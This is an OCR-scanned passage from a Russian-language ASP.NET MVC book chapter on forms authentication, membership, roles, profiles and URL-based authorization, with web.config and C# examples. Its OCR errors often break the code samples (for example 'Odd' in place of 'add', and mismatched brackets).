</authentication>
После входа посетитель будет перенаправлен на URL вроде такого:
/(F(nMD9DiT464AxL7nlQITYUTT05ECNIJlEGwN4CaAKKze-9ZJqlQTOKOvhXTxOfWRjAJdgS YojOYyhDilHN4SRb4fgGVcn_fnZUOx55I3_Jesl))/Ноте/ShowPrivateInformation
Внимательно присмотревшись, вы заметите, что этот URL следует шаблону / (F (данныеАутентификации) ) / обычныйиКЬ. Здесь данные аутентификации заменяют (но не совпадают) те, что в противном случае сохранялись бы в cookie-наборе . ASPXAUTH. Естественно, это не соответствует конфигурации маршрутизации, но не беспокойтесь: платформа перезапишет входящие URL, извлекая и удаляя данные аутентификации до того, как эти URL попадут в систему маршрутизации. Кроме того, до тех пор, пока исходящие URL будут генерироваться с использованием встроенных в MVC Framework вспомогательных методов (вроде Html.ActionLink()), данные аутентификации будут автоматически добавляться в начало каждого генерируемого URL. Другими словами, это просто работает и все.
Совет. Используйте аутентификацию без cookie-наборов только в случае крайней необходимости. Она является довольно неуклюжей (достаточно лишь взглянуть на зти URL), хрупкой (если на сайте случайно окажется хоть одна ссылка, не имеющая данных аутентификации, посетитель окажется выброшенным из приложения) и небезопасной. Если кто-то поделится ссылкой на ваш сайт, взяв URL из поля адреса браузера, то любой, кто пройдет по этой ссылке, помимо воли позаимствует идентичность первоначального посетителя. Вдобавок, если на сайте выводятся изображения, расположенные на других сайтах, ваши предположительно секретные URL будут отправлены им в заголовке Referer браузера.
Членство, роли и профили
Еще одним замечательным соглашением, принятым в Интернете, являются учетные записи пользователей. Что бы мы делали без них? Ведь с ними связано все самое важное: регистрация, изменение паролей, установка персональных предпочтений и т.п.
Глава 15. Компоненты платформы ASP.NET 499
Стандартная инфраструктура учетных записей пользователей входила в состав ASP.NET еще со времен версии 2.0. Она задумана и реализована как гибкая система: в нее входит набор API-интерфейсов, описывающих инфраструктуру, а также ряд универсальных реализаций зтих интерфейсов. Фрагменты стандартных реализаций можно смешивать с собственными, соблюдая совместимость общими API-интерфейсом. Этот API-интерфейс состоит из трех основных частей.
•	Членство (Membership). Все, что касается регистрации пользовательских учетных записей и доступа к репозиторию детальной информации об этих записях и регистрационных данных.
•	Роли (Roles). Все, что касается назначения пользователей в набор [возможно перекрывающихся) групп, которые обычно используются для авторизации.
•	Профили (Profiles). Позволяют хранить произвольную информацию для каждого пользователя отдельно (например, персональные параметры).
Реализация определенного фрагмента API-интерфейса называется поставщиком (provider). Каждый поставщик отвечает за собственное хранилище данных. ASP.NET поставляется с набором стандартных поставщиков, хранящих данные в определенной схеме данных SQL Server, в Active Directory и т.д. Можно также создать собственный поставщик данных, унаследовав новый класс от подходящего абстрактного базового класса.
Вдобавок ко всему этому ASP.NET предлагает набор стандартных серверных элементов управления WebForms, использующих стандартные API-интерфейсы для построения пользовательских интерфейсов, ориентированных на решение распространенных задач, к которым относится и регистрация пользователей. Эти элементы полагаются на обратные отправки, поэтому они не слишком удобны для приложений MVC, однако довольно легко можно создать собственные элементы, в чем вы вскоре убедитесь.
Описанная выше архитектура показана на рис. 15.4.
Элементы управления WebForms для интерфейсов входа и членства
Нельзя использовать в приложениях МУС н
Специальный пользовательский интерфейс для входа и членства
Приложение
API-интерфейсы членства, ролей и профилей
Встроенный поставщик SQL
Поставщик Active Directory
Удобен для небольших приложений
Для корпоративных доменов
Специальный поставщик постоянного хранения (дополнительный)
Рис. 15.4. Архитектура членства, ролей и профилей
500 Часть II. ASP.NET MVC во всех деталях
Ниже перечислены преимущества использования встроенной системы членства, ролей и профилей.
•	В Microsoft уже прошли весь процесс исследований и проектирования, чтобы, в конечном счете, получить систему, которая хорошо работает в большинстве случаев. Это касается даже ситуаций, когда вы просто пользуетесь API-интерфейсами, но имеете собственное хранилище и пользовательский интерфейс.
•	Для некоторых простых приложений встроенные поставщики постоянного хранения позволяют избежать необходимости в управлении собственным доступом к данным. Имея ясную абстракцию, обеспечиваемую API-интерфейсом, в будущем можно перейти на любой другой специальный поставщик, не изменяя код пользовательского интерфейса.
•	API-интерфейс разделяется всеми приложениями ASP.NET, что позволяет повторно использовать любые специальные поставщики или компоненты пользовательского интерфейса во множестве проектов.
•	Система членства, ролей и профилей хорошо интегрируется с платформой ASP.NET. Например, метод User. IsInRole () является основой многих систем авторизации; он получает данные о ролях от выбранного поставщика ролей.
•	При разработке некоторых небольших приложений для корпоративной сети можно использовать встроенные инструменты администрирования ASP.NET, такие как Web Administration Tool или средства конфигурирования членства, ролей и профилей IIS 7, для управления данными о пользователях без необходимости создания собственного пользовательского интерфейса.
Разумеется, встроенной системе членства, ролей и профилей присущи и некоторые недостатки.
•	Встроенный поставщик хранилища SQL должен иметь прямой доступ к базе данных, что не укладывается в строгие концепции модели предметной области.
•	Встроенный поставщик хранилища SQL требует специфической схемы данных, которую нелегко совместно использовать со схемой данных остального приложения. SqlProf ileProvider использует особенно своеобразную схему данных, в которой элементы профиля сохраняются в виде разделенных двоеточиями пар “имя/значение”, поэтому обычно их невозможно извлекать с помощью запросов.
•	Как упоминалось ранее, встроенные серверные элементы управления непригодны для приложения MVC, так что придется разрабатывать собственный пользовательский интерфейс.
•	Несмотря на то что инструмент Web Administration Tool можно применять для управления данными о пользователях, он не предназначен для развертывания на рабочем веб-сервере, и даже если сделать это, он будет выглядеть совершенно иначе, чем остальная часть приложения.
В общем случае имеет смысл следовать API-интерфейсу, ввиду его четкого разделения ответственности, возможности многократного использования в проектах и интеграции с платформой ASP.NET, а встроенный поставщик хранилищ SQL применять лишь для небольших или разовых проектов.
Установка поставщика членства
Платформа ASP.NET поставляется с поставщиками членства для SQL Server (SqlMembershipProvider) и Active Directory (ActiveDirectoryMembershipProvider). Кроме того, можно загрузить образец поставщика Access (http: //msdn. microsoft. com/ ru-ru/aa336522 .aspx) или создать собственный. Первые два поставщика используются чаще всего, поэтому в данной главе речь пойдет в основном о них.
Глава 15. Компоненты платформы ASP.NET 501
Настройка поставщика SqlMembershipProvider
Вновь созданное приложение ASP.NET MVC по умолчанию сконфигурировано на использование поставщика SqlMembershipProvider. В файле web.config обычно присутствуют следующие элементы:
<configuration>
<connectionStrings>
<add name="ApplicationServices"
connectionString="data source=.\SQLEXPRESS;Integrated Security=SSPI;
AttachDBFilename=|DataDirectory|aspnetdb.mdf;
User Instance=true" providerName="System.Data.SqlClient" />
</connectionStrings>
<system.web>
<membership>
<providers>
<clear/>
Odd name="AspNetSqlMembershipProvider"
type="System.Web.Security.SqlMembershipProvider, ..." connectionstringName="ApplicationServices"
. . - />
</providers>
</membership>
</system.web>
</configuration
Работа с пользовательским экземпляром базы данных SQL Server Express
Выпуски SQL Server 2005 Express Edition и SQL Server 2008 Express Edition поддерживают пользовательские экземпляры (user instance) базы данных. В отличие от обычных баз данных SQL Server, эти базы не должны создаваться и регистрироваться заранее. Достаточно просто открыть соединение с SQL Server Express, указав местоположение на диске файла MDF базы данных, и SQL Server Express откроет этот файл, если тот существует, или создаст новый файл, если нет. Это удобно в простых сценариях веб-хостинга, потому что при этом даже не потребуется, например, конфигурировать данные для входа или пользователей.
Обратите внимание, как это настраивается в приведенном выше файле web. config. В строке соединения по умолчанию указано Use г Instance=true. Специальный синтаксис AttachDBFilename сообщает системе о необходимости создания пользовательского экземпляра базы данных SQL Server Express в ~/App_Data/aspnetdb.mdf. При первоначальном создании базы данных ASP.NET заполняет ее всеми таблицами и хранимыми процедурами, необходимыми для поддержки системы членства, ролей и профилей.
Если данные планируется хранить на сервере SQL Server Express, то можно оставить эти настройки без изменений. Однако если в будущем должны использоваться выпуски SQL Server, отличные от Express, понадобится создать собственную базу данных и подготовить ее схему вручную, как будет объясняться ниже.
На заметку! Показанные выше настройки по умолчанию предполагают наличие локально установленного выпуска SQL Server Express. В противном случае любая попытка использования SqlMembershipProvider приведет к ошибке с сообщением “SQLExpress database file autocreation error” (Ошибка автоматического создания файла базы данных SQLExpress). Потребуется либо установить SQL Server Express локально, либо изменить строку соединения, чтобы она указывала на другой сервер с SQL Server Express или на базу данных, подготовленную вручную.
502 Часть II. ASP.NET MVC во всех деталях
Подготовка собственной базы данных для поддержки
системы членства, ролей и профилей
Если необходимо использовать выпуск SQL Server, отличный от Express (например, любую его коммерческую версию), потребуется самостоятельно создать собственную базу данных обычным образом, т.е. с помощью SQL Server Management Studio или Visual Studio 2008. Чтобы добавить элементы схемы, нужные для SqlMembershipProvider, запустите инструмент \Windows\Microsoft.NET\Framework\v2.О.50727\aspnet_ regsql. ехе без аргументов командной строки. Появится начальный экран мастера настройки ASP.NET SQL Server Setup Wizard, показанный на рис. 15.5.
Рис. 15.5. Инициализация собственной схемы базы данных для поставщика SqlMembershipProvider
После указания местонахождения базы данных мастер добавит набор таблиц и хранимых процедур, которые необходимы для поддержки средств членства, ролей и профилей; все они имеют префикс aspnet_ (рис. 15.6). Затем следует отредактировать строку соединения в web. config, чтобы она указывала на созданную вручную базу данных.
Object Explorer	r J- ' ' 4 . i Tebfes .1 System Tables . J dbct,aspnet_App!icatfCHS .1 dbc.aspnet_Membership dbo.aspnet_Paths 23 dbc.aspnet-PersonalGaticnAHUsers  dbc.a5pnet_P€fscnafeatiGnPerUser 3 dbc.aspnet_Profi<e i dbc.8spnet_Rcles + -3 dbc.aspnet.SchEmaVersions t;- LI dbo.aspnet_Users: у 33 dbc.aspnet_U3ersInR.cles Л dbo^spnet_»VebE-/ent_£‘.;ents f Views	X Object Explorer	т 3 X - ** A t Programmability _3 Stored Procedures j System Stored Procedures * iS dbc.aspnet.Anj'DatalnTables » 3] dbo.aspnetApplicatscni_Createi>ppli£aticn ♦ LJ dbc-aspnet-CheckSchemaVersfOH < £3 dbc.3spnet_Memfaer5hfp_ChangePass‘AordQue5tion£ 4 .Sj dbo.3spnet_Membershfp_CresteUser г	dljo.aspnet_Membership_FindUsef5ByEm3!l dbo,aspnet_Member5hip_RndU$ers8vN8me 1	dbo.2spnet_Membership_GetAIIUsers Й-1 dbo.aspnet_Memfaership_GetNumbEfOfUsersCn|ine 4 Q dbo,aspnet_Membership_GetPasEftcrd . isTi dBo.aspnet_Membership_GetPa=sv\ord?.,ithFormat j"
Рис. 15.6. Таблицы и хранимые процедуры, добавленные для поддержки поставщиков
SqlMembershipProvider, SqlRoleProvider и SqlProfileProvider
Глава 15. Компоненты платформы ASP.NET 503
Управление членством с использованием Web Administration Tool
В составе Visual Studio имеется инструмент для веб-администрирования под названием Web Administration Tool (WAT). Это средство с графическим интерфейсом позволяет управлять настройками сайта, включая данными о членстве, ролях и профилях. Для его запуска из Visual Studio выберите пункт меню ProjectsASP.NET Configuration (Проект1^Конфигурация ASP.NET). На вкладке Security (Безопасность), показанной на рис. 15.7, можно создавать, редактировать, удалять и просматривать зарегистрированные члены.
Рис. 15.7. Инструмент WAT
Внутри для взаимодействия со стандартным поставщиком членства инструмент WAT использует встроенные API-интерфейсы, так что он совместим с любым поставщиком Membershipprovider, включая специально созданные.
После развертывания в конечном итоге приложения на рабочем веб-сервере вы обнаружите, что инструмент WAT там недоступен. Причина в том, что WAT является частью Visual Studio — среды, которая вряд ли будет устанавливаться на веб-сервере. Теоретически развернуть WAT на веб-сервере можно (см. forums . asp. net/р/ 1010863/1761029.aspx), но это довольно непросто, так что в действительности более вероятно, что для управления членством будет разработан собственный пользовательский интерфейс с использованием соответствующего API-интерфейса. В случае сервера IIS 7 можно применять его инструмент конфигурирования .NET Users.
Управление членством с использованием инструмента конфигурирования .NET Users
Среди множества разноцветных значков в диспетчере служб IIS 7 можно обнаружить и значок .NET Users (рис. 15.8).
504 Часть II. ASP.NET MVC во всех деталях
.NET Users
Actions
This page alfaws you to view and manege the fist cf user identities defined in the application. The list of users can be used to perform authentication, authorization and other security-related operations.
Refated Features
Filter
Shew All Group by: He Grouping
Name
Charles
Stoe
Email Address charles<eK£mple.ccm sto^e©eeample.com
Created
02''34-2&38 02/04’20>38
Last Login 0IW2Q08 02^04/2008
Рис. 15.8. Графический интерфейс .NET Users в IIS 7
Наряду с созданием, редактированием и удалением членов, этот инструмент также позволяет конфигурировать поставщик членства по умолчанию. Подобно WAT, он редактирует корневой файл web. config приложения и использует API-интерфейс членства для взаимодействия с зарегистрированным поставщиком Membershipprovider.
В отличие от WAT, инструмент .NET Users будет доступен и на рабочем сервере (если на нем выполняется IIS 7). Оно пред лагает базовую функциональность управления членством для небольших приложений, где это делается только администратором сайта.
Использование поставщика членства и компонента Forms Authentication
Скорее всего, возникнет необходимость использовать поставщик членства для проверки попыток входа. Это очень легко! Например, чтобы заставить приложение SportsStore работать с поставщиком членства, достаточно изменить одну строку кода в методе LogOn () класса Accountcontroller, как показано ниже:
[AcceptVerbs(HttpVerbs.Post)]
public ActionResult LogOn(string name, string password, string returnurl)
{
if (Membership.ValidateUser(name, password)) {
// Назначить место перенаправления по умолчанию,
// если оно не установлено
returnUrl = returnUrl ?? Url.Action("Index", "Admin");
// Установить cookie-набор и выполнить перенаправление FormsAuthentication.SetAuthCookie(name, false);
return Redirect(returnurl); ;
else {
ViewData["lastLoginFailed"] = true; return View () ;
Ранее этот метод проверял попытки входа, вызывая метод FormsAuthentication. Authenticate (name, password), который ищет регистрационные данные в узле <credentials> файла web. config. Однако теперь он будет принимать попытки входа только с действительными регистрационными данными, известными поставщику членства.
Глава 15. Компоненты платформы ASP.NET 505
Создание специального поставщика членства
Во многих случаях может оказаться, что встроенные в ASP.NET поставщики членства не подходят для приложения. Поставщик ActiveDirectoryMembershipProvider применим только в определенных сценариях с корпоративным доменом, а SqlMembershipProvider использует собственную специальную базу данных SQL, которую иногда нежелательно смешивать с существующей схемой.
В такой ситуации имеет смысл создать собственный поставщик службы членства, унаследовав новый класс от Membershipprovider. Начните с написания заголовка:
public class MyNewMembershipProvider : Membershipprovider
{
}
Затем щелкните правой кнопкой мыши на Membershipprovider и выберите в контекстном меню пункт Implement Abstract Class (Реализовать абстрактный класс). В этом классе имеется довольно много методов и свойств, которые в первоначальном виде генерируют исключение NotlmplementedException, но большинство из них можно оставить без изменений. Для интеграции с компонентом Forms Authentication в действительности понадобится только метод ValidateUser (). Ниже приведен очень простой пример реализации поставщика членства.
public class SiteMember
{
public string UserName { get; set; } public string Password { get; set; } }
public class SimpleMembershipProvider : Membershipprovider
{
// Для простоты поставщик работает со статической коллекцией в памяти.
//В реальном приложении регистрационную информацию потребуется // извлекать из базы данных.
private static List<SiteMember> Members = new List<SiteMember> ( new SiteMember ( UserName = "MyUser", Password = "MyPass" }
};
public override bool ValidateUser(string username, string password) (
return Members.Exists(m => (m.UserName==username)&&(m.Password==password));
}
/* Опущено: остальные методы просто генерируют исключение ЫоЬ1тр1етепЬебЕхсерЬ1опж/ }
После создания зарегистрируйте собственный поставщик членства в файле web. config:
<configuration>
<system.web>
<membership defaultProvider="MyMembershipProvider">
<providers>
<clear/>
Odd name="MyMembershipProvider"
type="Namespace. SimpleMembershipProvider" />
</providers>
</membership>
</system.web>
</configuration>
506 Часть II. ASP.NET MVC во всех деталях
Если специальный поставщик членства должен поддерживать добавление и удаление членов и интегрироваться с инструментами WAT и .NET Users для IIS 7, понадобится добавить переопределения других методов, таких как CreateUser () и GetAllUsers ().
Внимание! Несмотря на легкость создания собственного поставщика членства и применения его в приложении, заставить его взаимодействовать с инструментом .NET Users сервера IIS 7.5 несколько сложнее. На момент написания книги, этого можно было добиться лишь за счет помещения поставщика в строго именованную сборку .NET, регистрации этой сборки в GAC сервера и ссылки на нее в файле Administration.config на сервере.
Настройка и использование ролей
До сих пор было показано, как платформа управляет набором регистрационных данных, проверяет попытки входа (с помощью поставщика членства) и отслеживает состояние зарегистрированных пользователей между множеством запросов (посредством компонента Forms Authentication). Все это касается аутентификации, т.е. безопасной идентификации конкретного лица.
Следующим распространенным требованием безопасности является авторизация, означающая принятие решений относительно того, что разрешено делать определенному лицу. Платформа предлагает систему авторизации на основе ролей, посредством которой каждому пользователю может быть назначено множество ролей, и его членство в каждой роли подразумевает разрешение на выполнение определенных действий. Роль — это просто уникальная строка, которая имеет смысл в том плане, который ассоциируется с этими строками. Например, можно выбрать следующие три роли:
•	ApprovedMember
•	CommentsModerator
•	SiteAdministrator
Это просто произвольные строки, которые приобретают смысл, когда, например, приложение предоставляет консоли администратора доступ только членам роли SiteAdministrator. Каждая роль совершенно независима от остальных — здесь нет иерархии, поэтому принадлежность к роли SiteAdministrator не означает автоматической принадлежности к роли CommentsModerator или даже ApprovedMember. Каждая роль может быть назначена независимо, и каждый член может иметь любую комбинацию ролей.
Как и с членством, платформа ASP.NET ожидает, что работа с ролями будет проводиться через модель поставщиков с использованием общего API-интерфейса (базового класса RoleProvider) и набора встроенных поставщиков. И, конечно же, можно реализовать собственный специальный поставщик.
Как и в случае членства, управлять ролями (назначать и отбирать роли у членов) можно с помощью WAT или инструментов конфигурирования .NET Roles и .NET Users сервера IIS 7, как показано на рис. 15.9.
Во многих случаях намного удобнее не пользоваться встроенными инструментами, а создавать собственные специальные экраны администрирования внутри приложения. Для управления ролями служит статический объект System.Web. Security. Roles, который предоставляет поставщик членства по умолчанию. Ниже показан пример добавления пользователя к роли:
Roles,AddUserToRole("billg", "CommentsModerator");
Глава 15. Компоненты платформы ASP.NET 507
Рис. 15.9. Использование инструмента .NET Users из IIS 7 для редактирования ролей пользователя
Использование встроенного поставщика SqlRoleProvider
Если вы пользуетесь поставщиком SqlMembershipProvider, то обнаружите, что вместе с ним удобно применять поставщик SqlRoleProvider, получая в результате удобный и быстрый способ добавления в приложение авторизации на основе ролей4. Файл web. config в новом приложении ASP.NET MVC содержит следующие настройки:
<configuration>
<system.web>
<roleManager enabled="false">
<providers>
<clear/>
Odd name="AspNetSqlRoleProvider"
type="System.Web.Security.SqlRoleProvider, ..." connectionstringName="ApplicationServices" applicationName="/" />
Odd name="AspNetWindowsTokenRoleProvider"
type="System.Web.Security.WindowsTokenRoleProvider, ..." applicationName="/" />
</providers>
</roleManager>
</system.web>
</configuration>
Как видите, в файле перечислены два возможных поставщика ролей, но ни один из них по умолчанию не активизирован. Чтобы включить SqlRoleProvider. измените атрибуты узла <roleManager> следующим образом:
<roleManager enabled="true" defaultProvider="AspNetSqlRoleProvider">
Предполагая, что схема базы данных уже создана, как было описано для SqlMembershipProvider, поставщик ролей теперь готов к работе. В качестве альтернативы можно назначить AspNetWindowsTokenRoleProvider поставщиком службы ролей по умолчанию, если применяется компонент Windows Authentication и нужно, чтобы роли пользователей определялись их ролями в Windows Active Directory.
4 Даже если поставщик SqlMembershipProvider не используется, SqlRoleProvider формально применять можно. Однако вряд ли это целесообразно: он основан на той же самой схеме базы данных, что и SqlMembershipProvider.
508 Часть II. ASP.NET MVC во всех деталях
Защита контроллеров и действий с помощью ролей
Ранее было показано, как использовать встроенный в ASP.NET MVC фильтр [Authorize] для ограничения доступа только аутентифицированным посетителям, которым назначена определенная роль. Например:
[Authorize(Roles="CommentsModerator, SiteAdministrator")]
public ViewResult ApproveComment(int commentld) ( // Реализовать
}
Если указано несколько разделенных запятыми ролей, посетитель получает доступ, если принадлежит к любой из перечисленных ролей. Фильтр [ Authori ze ] более подробно описан в главе 9. Чтобы защитить весь контроллер, атрибут [Authori ze (Roles=. . .) ] следует назначить классу контроллера вместо индивидуального метода действия.
Для более широкого программного доступа к информации о ролях метод действия может вызывать User . Is InRole (имяРоли) , чтобы определить принадлежность текущего посетителя к определенной роли, или System. Web . Security,Roles . GetRolesForUser (), чтобы получить список всех ролей, которые были назначены текущему посетителю.
Создание специального поставщика ролей
Совершенно не удивительно, что для создания собственного поставщика ролей необходимо унаследовать новый класс от базового класса RoleProvider. Как и ранее, можно воспользоваться пунктом Implement Abstract Class (Реализовать абстрактный класс) контекстного меню в среде Visual Studio для получения определения типа без написания реального кода.
Если оперативное управление ролями не требуется (например, с помощью инструмента конфигурации .NET Roles сервера 11S 7 или WAT), достаточно только добавить реальный код в метод GetRolesForUser (). как показано ниже:
public class MyRoleProvider : RoleProvider
{ public override string[] GetRolesForUser(string username) {
// Реальный поставщик, скорее всего, будет извлекать информацию
//о ролях из базы данных if (username == "Steve") return new string[] { "ApprovedMember", "CommentsModerator" }; else
return new string[] { };
}
/* Опущено: остальные методы генерируют исключение NotlmplementedException*/ }
Чтобы использовать этот специальный поставщик ролей, отредактируйте узел <roleManager> файла web. config, назначив этот класс в качестве поставщика ролей по умолчанию, или сконфигурируйте это с помощью диспетчера служб IIS 7.
Настройка и использование профилей
Членство позволяет отслеживать членов, а роли — разрешенные им действия. Но что, если необходимо хранить и отслеживать другие данные, индивидуальные для каждого пользователя, вроде особенностей членства, параметров сайта или любимых блюд? Здесь на помощь приходят профили — универсальное хранилище данных, специфических для каждого пользователя, которое следует знакомому механизму поставщиков.
Глава 15. Компоненты платформы ASP.NET 509
Это привлекательный выбор для небольших приложений, которые построены на основе поставщиков SqlMembershipProvider и SqlRoleProvider, поскольку при атом используется та же самая схема базы данных, и создается впечатление, что вы получаете нечто бесплатно. Однако в более крупных приложениях, когда имеется специальная схема базы данных и более ст рогое писание модели предметной области, скорее всего, предпочтение будет отдано другой, лучшей инфраструктуре для хранения данных каждого пользователя, так что выигрыша от использования ролей не будет никакого.
Использование встроенного поставщика SqlProfileProvider
Сразу после создания схемы базы данных для членства, ролей и профилей с помощью инструмента aspnet_regsql.exe (или позволив создать ее автоматически, если используется SQL Server Express Edition с файловой базой данных) можно использовать встроенный поставщик профилей под названием SqlProfileProvider. По умолчанию он активизирован в каждом новом приложении ASP.NET MVC, потому что web. config содержит следующее:
<configuration>
<system.web>
<profile>
<provi ders>
<clear/>
Odd name="AspNetSqlProfileProvider"
type="System.Web.Profile.SqlProfileProvider, ..." connectionstringName="Applicationservices" applicationName="/" />
</providers>
</profile>
</system.web>
</configuration>
Конфигурирование, чтение и запись данных профиля
Прежде чем можно будет читать и записывать данные профиля, необходимо определить структуру данных, с которой будет проводиться работа. Это делается добавлением узла <properties> в узле <profile> файла web. config. Например:
<profile>
<providers>...</providers>
<properties>
odd name="Name" type="String" />
Odd name="PointsScored" type="Integer" />
<group name="Address">
odd name="Street" type="String" />
Odd name="City" type="String" />
Odd name="ZipCode" type="String" />
Odd name="State" type="String" />
Odd name="Country" type="String" />
</group>
</properties>
</profile>
Как видите, свойства могут объединяться в группы, и для каждого свойства должен быть указан тип .NET'. Разрешается использовать любой тип .NET при условии, что он поддается сериализации.
510 Часть II. ASP.NET MVC во всех деталях
Внимание! Следует помнить, что использование любого типа кроме наиболее базовых (string, int и т.п.) будет отрицательно сказываться на производительности, если только не реализуется собственный специальный поставщик профилей, которому нужны типы помимо базовых. Поскольку SqlProf ileProvider не может обнаружить, модифицирован ли определенный специальный объект во время запроса, он записывает полный набор обновленной информации о профиле в базу данных при каждом запросе.
Имея готовую конфигурацию, можно читать и записывать данные профилей каждого пользователя в методах действий:
public ActionResult ShowMemberNameAndCountry ()
{
ViewData["memberName"] = HttpContext.Profile["Name"];
ViewData["membercountry"]
= HttpContext.Profile.GetProfileGroup("Address")["Country"]; return View () ;
}
public RedirectToRouteResult SetMemberNameAndCountry(string name, string country)
{
HttpContext.Profile["Name"] = name;
HttpContext.Profile.GetProfileGroup("Address")["Country"] = country; return RedirectToAction("ShowMemberNameAndCountry");
)
Платформа загружает данные профиля зарегистрированного пользователя при первой попытке обращения к одному из его значений и сохраняет все изменения в конце запроса. Явно сохранять изменения на понадобится — все происходит автоматически. Обратите внимание, что по умолчанию это работает только с зарегистрированными, аутентифицированными посетителями, а при попытке записать свойства профиля текущим неаутентифицированным посетителем генерируется исключение.
Совет. Проектировщики этого средства предполагали, что доступ к данным профиля будет осуществляться через строго типизированный прокси-класс, автоматически сгенерированный на основе конфигурации <propertires> (например, Profile.Address .Country). К сожалению, этот прокси-класс генерируется автоматически только при использовании веб-проектов, а не веб-приложений в Visual Studio. Приложения ASPNET MVC — это веб-приложения, а не веб-проекты, и потому для них такой прокси-класс генерироваться не будет. Если действительно необходим строго типизированный прокси-класс, обратитесь к проекту Web Profile Builder (http://code.msdn.microsoft.com/WebProf ileBuilder).
Платформа также поддерживает понятие анонимных профилей, в которых данные профиля, ассоциированного с незарегистрированными посетителями, могут сохраняться между сеансами браузера. Для активизации таких профилей сначала пометьте одно или более определений свойств профиля в файле web. config атрибутом allowAnonymous:
<profile>
<properties>
<add name="Nane" type="String" allowAnonymous="true" />
</properties>
</profile>
Глава 15. Компоненты платформы ASP.NET 511
Затем включите анонимную идентификацию в web. config:
<configuration>
<system.web>
<anonymousldentification enabled="true" />
</system.web>
</configuration
Это значит, что ASP.NET будет отслеживать посетителей, выдавая им cookie-набор по имени .ASPXANONYMOUS, который по умолчанию действителен в течение 10 000 минут (менее 70 дней). В узле <anonymousldentification> можно задавать множество настроек, в том числе имя cookie-набора, срок его истечения и т.п.
Эта конфигурация позволяет читать и записывать свойства профилей для неаутен-тифицированных посетителей (в данном примере — только свойство Name), но следует иметь в виду, что теперь для каждого неаутентифицированного посетителя будет предусмотрена отдельная регистрационная запись в базе данных.
Создание специального поставщика профилей
Как зто принято в модели поставщиков ASP.NET, имеется возможность создания специального поставщика службы профилей, наследуя его от абстрактного базового класса ProfileProvider. Если поддержка управления профилями с помощью WAT или инструмента конфигурации .NET Profiles из IIS 7 не нужна, потребуется только добавить код в методы GetPropertyValues() и GetPropertyValues ().
В рассматриваемом ниже примере код не сохраняет состояния в базе данных и не является безопасным в отношении потоков, поэтому не вполне реалистичен. Однако он демонстрирует работу API-интерфейса ProfileProvider и доступ к индивидуальным элементам данных профиля с целью загрузки и сохранения.
public class InMemoryProfileProvider : ProfileProvider
{
// Это находящаяся в памяти коллекция, которая никогда не сохраняется на диске.
// Предупреждение: для краткости код не сделан безопасным в отношении потоков.
// Ключами в словаре служат имена пользователей, а значениями -// словари данных профиля для конкретного пользователя.
private static IDictionary<string, IDictionary<string, object» data = new Dictionary<string, IDictionary<string, object» ();
public override SettingsPropertyValueCollection GetPropertyValues( SettingsContext context, SettingsPropertyCollection collection) {
// Проверить, получена ли запись с данными профиля пользователя IDictionary<string, object> userData;
_data.TryGetValue((string)context["UserName"], out userData);
// Теперь построить и вернуть коллекцию SettingsPropertyValueCollection var result = new SettingsPropertyValueCollection();
foreach (SettingsProperty prop in collection) {
var spv = new SettingsPropertyValue(prop);
if (userData != null) // Использовать данные профиля пользователя, // если они доступны
spv.Propertyvalue = userData[prop.Name]; result-Add(spv);
} return result;
}
512 Часть II. ASP.NET MVC во всех деталях
public override void SetPropertyValues(SettingsContext context,
SettingsPropertyValueCollection collection)
(
string userName = (string)context["UserName"];
if (string.IsNullOrEmpty(userName)) return;
// Просто преобразует коллекцию SettingsPropertyValueCollection в словарь _data[userName] = collection.Cast<SettingsPropertyValue>()
.ToDictionary(x => x.Name, x => x.Propertyvalue);
}
/* Опущено: все остальные методы генерируют исключение NotlmplementedException*/ }
В специальном поставщике можно игнорировать идею групп свойств и воспринимать данные как коллекцию пар “ключ/значение”, потому что API-интерфейс работает в терминах полностью определенных разделенных точками имен свойств наподобие Address .Street. Также не нужно беспокоиться об анонимных профилях — если они разрешены, то ASP.NET будет генерировать GUID-идентификатор в качестве имени для каждого анонимного пользователя. В коде не должны делаться различия между ними и реальными именами пользователей.
Естественно, специальный поставщик профилей должен быть зарегистрирован в узле <profile> файла web. config.
Авторизация на основе URL
Традиционно ASP.NET сильно зависит от соответствия URL структуре папок исходного кода, так что имеет смысл определять правила авторизации в терминах шаблонов URL. Так, например, в WebForms весьма вероятно, что административные страницы ASPX будут размещены в папке по имени /Admin/, поэтому с помощью авторизации на основе URL можно разрешить доступ к /Admin/* только зарегистрированным пользователям, которым назначена некоторая специфическая роль. Кроме того, можно предусмотреть специальное правило, чтобы пользователи, вышедшие из приложения, по-прежнему имели доступ к /Admin/Login/aspx.
Платформа ASP.NET MVC поддерживает исключительно гибкую систему маршрутизации, поэтому не всегда имеет смысл конфигурировать авторизацию в терминах шаблонов URL. Предпочтение может быть отдано более высокой точности, которую обеспечивает добавление атрибута [Authorize] к индивидуальным контроллерам и методам действий. С другой стороны, иногда имеет смысл принудительно навязать авторизацию в терминах шаблонов URL, так как в соответствии с принятым соглашением административные URL всегда начинаются с /Admin/.
Авторизация на основе URL устанавливается в приложении MVC с помощью WAT или же непосредственным редактированием файла web. config. Например, поместите приведенные ниже строки непосредственно над (и вне) узла <system.web>:
<location path="Admin">
<system.web>
<authorization>
<deny users="?"/>
<allow roles="SiteAdmin"/>
<deny users="*"/>
</authorization>
</system.web>
</location>
Глава 15. Компоненты платформы ASP.NET 513
Это укажет модулю UrlAuthorizationModule (который зарегистрирован для всех приложений ASP.NET по умолчанию), что для URL ~ /Admin и URL, соответствующих шаблону ~/Admin/*, должны предприниматься следующие действия.
•	Запретить доступ для неаутентифицированных посетителей (<deny users=" ?"/>).
•	Открыть доступ для аутентифицированных посетителей с ролью SiteAdmin (<allow roles="SiteAdmin"/>).
•	Запретить доступ ко всем прочим посетителям (<deny user s="*"/>).
Когда посетителям запрещен доступ, модуль UrlAuthorizationModule устанавливает ответ HTTP 401, означающий “не авторизовано”, и вызывает активный механизм аутентификации. В случае использования компонента Forms Authentication это означает, что посетитель будет перенаправлен на страницу входа (независимо от того, вошел ли он в систему).
Внимание! Авторизация на основе URL работает корректно, только если установлена версия .NET Framework 3.5 SP1. Без пакета обновлений SP1 авторизация вызывается только для узлов <location>, атрибут path которых соответствует действительному файлу или папке на диске.
В большинстве случаев более логично определить правила авторизации на контроллерах и действиях, используя фильтры [Authorize], чем на шаблонах URL в web .config, потому что в таком случае схему URL можно изменять, не беспокоясь о возможных брешах в системе безопасности.
Кэширование данных
При наличии данных, которые должны сохраняться между несколькими запросами, их можно хранить в коллекции Application. Например, метод действия может содержать следующую строку:
HttpContext.Application["mydata"] = somelmportantData;
